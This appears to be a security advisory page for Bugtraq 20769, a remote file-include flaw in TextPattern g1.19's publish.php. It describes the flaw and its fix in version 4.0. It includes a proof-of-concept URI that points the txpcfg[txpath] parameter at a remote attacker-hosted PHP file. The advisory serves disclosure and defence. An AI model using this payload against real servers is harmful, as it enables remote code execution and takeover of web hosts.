TextPattern Publish.PHP Remote File Include Vulnerability

BID:20769

Info

TextPattern Publish.PHP Remote File Include Vulnerability

Bugtraq ID: 20769
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Oct 27 2006 12:00AM
Updated: Oct 30 2006 09:13PM
Credit: Bithedz is credited with the discovery of this vulnerability.
Vulnerable: TextPattern TextPattern g1.19
Not Vulnerable: TextPattern TextPattern 4.0

Discussion

TextPattern Publish.PHP Remote File Include Vulnerability

TextPattern is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

TextPattern g1.19 and prior versions are vulnerable to this issue; other versions may also be affected.

Exploit / POC

TextPattern Publish.PHP Remote File Include Vulnerability

Attackers can exploit this issue via a web client.

The following proof-of-concept URI is available:

http://www.example.com/[textpattern_g119_path]/textpattern/publish.php?txpcfg[txpath]=http://attact/colok.txt?

Solution / Fix

TextPattern Publish.PHP Remote File Include Vulnerability

Solution:
The vendor has addressed this issue in version 4.0 and later.


TextPattern TextPattern g1.19

References

TextPattern Publish.PHP Remote File Include Vulnerability

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report